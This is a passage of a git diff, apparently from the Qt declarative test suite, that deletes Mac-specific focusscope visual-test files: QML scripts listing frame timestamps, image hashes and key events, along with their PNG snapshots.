"70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2304 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2320 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2336 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2352 - hash: "70f4ce2881f2340167f314b49716707a" - } - Key { - type: 6 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 2368 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2384 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2400 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2416 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2432 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2448 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2464 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Key { - type: 7 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 2480 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2496 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2512 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2528 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2544 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2560 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2576 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2592 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2608 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2624 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2640 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2656 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2672 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2688 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2704 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2720 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2736 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2752 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2768 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2784 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2800 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2816 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2832 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2848 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2864 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2880 - image: "test.2.png" - } - Frame { - msec: 2896 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2912 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2928 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2944 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2960 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 2976 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 2992 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3008 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3024 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3040 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3056 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3072 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3088 - hash: "70f4ce2881f2340167f314b49716707a" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 3104 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3120 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3136 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3152 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3168 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3184 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3200 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3216 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3232 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3248 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3264 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3280 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3296 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3312 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3328 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3344 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3360 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3376 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3392 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3408 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3424 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3440 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3456 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3472 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3488 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3504 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3520 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 3536 - hash: "70f4ce2881f2340167f314b49716707a" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3552 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3568 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3584 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3600 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3616 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3632 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3648 - hash: "715a587be7a5803af2827e882236d187" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3664 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3680 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3696 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3712 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3728 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3744 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3760 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3776 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3792 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3808 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3824 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3840 - image: "test.3.png" - } - Frame { - msec: 3856 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3872 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3888 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3904 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3920 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3936 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3952 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3968 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 3984 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4000 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4016 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4032 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4048 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4064 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4080 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4096 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4112 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4128 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4144 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4160 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4176 - hash: "715a587be7a5803af2827e882236d187" - } - Key { - type: 6 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 4192 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4208 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4224 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4240 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4256 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4272 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Key { - type: 7 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 4288 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4304 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4320 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4336 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4352 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4368 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4384 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4400 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4416 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4432 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4448 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4464 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4480 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4496 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4512 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4528 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4544 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4560 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4576 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4592 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4608 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4624 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4640 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4656 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4672 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4688 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4704 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4720 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4736 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4752 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4768 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Frame { - msec: 4784 - hash: "773f573d4b37181f7a784597a30cd73d" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 4800 - image: "test.4.png" - } - Frame { - msec: 4816 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4832 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4848 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4864 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4880 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4896 - hash: "715a587be7a5803af2827e882236d187" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 4912 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4928 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4944 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4960 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4976 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 4992 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5008 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5024 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5040 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5056 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5072 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5088 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5104 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5120 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5136 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5152 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5168 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5184 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5200 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5216 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5232 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5248 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5264 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5280 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5296 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5312 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5328 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5344 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5360 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5376 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5392 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5408 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5424 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5440 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5456 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5472 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5488 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5504 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5520 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5536 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5552 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5568 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5584 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5600 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5616 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5632 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5648 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5664 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5680 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5696 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5712 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5728 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5744 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5760 - image: "test.5.png" - } - Frame { - msec: 5776 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5792 - hash: "715a587be7a5803af2827e882236d187" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 5808 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5824 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5840 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5856 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5872 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 5888 - hash: "715a587be7a5803af2827e882236d187" - } -} diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test2.0.png b/tests/auto/declarative/visual/focusscope/data-MAC/test2.0.png deleted file mode 100644 index fa711c1..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test2.1.png b/tests/auto/declarative/visual/focusscope/data-MAC/test2.1.png deleted file mode 100644 index fa711c1..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test2.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test2.qml b/tests/auto/declarative/visual/focusscope/data-MAC/test2.qml deleted file mode 100644 index 7837ad9..0000000 --- a/tests/auto/declarative/visual/focusscope/data-MAC/test2.qml +++ /dev/null @@ -1,607 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 32 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 48 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 64 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 80 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 96 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 112 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 128 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 144 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 160 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 176 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 192 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 208 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 224 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 240 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 256 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 272 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 288 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 304 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 320 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 336 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 352 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 368 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 384 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 400 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 416 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 432 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 448 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 464 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 480 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 496 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 512 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 528 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 544 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 560 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 576 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 592 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 608 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 624 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 640 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 656 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 672 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 688 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 704 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 720 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 736 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 752 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 768 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 784 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 800 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 816 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 832 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 848 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 864 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 880 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 896 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 912 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 928 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 944 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 960 - image: "test2.0.png" - } - Frame { - msec: 976 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 992 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1008 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1024 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1040 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1056 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1072 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1088 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1104 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1120 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1136 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1152 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1168 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1184 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1200 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1216 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1232 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1248 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1264 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1280 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1296 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1312 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1328 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1344 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1360 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1376 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1392 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1408 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1424 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1440 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1456 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1472 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1488 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1504 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1520 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1536 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1552 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1568 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1584 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1600 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1616 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1632 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1648 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1664 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1680 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1696 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1712 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1728 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1744 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1760 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1776 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1792 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1808 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1824 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1840 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1856 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1872 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1888 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1904 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1920 - image: "test2.1.png" - } - Frame { - msec: 1936 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1952 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1968 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 1984 - hash: "9ecdd4addcaea53cdca16f3496ceb15c" - } - Frame { - msec: 2000 - hash: 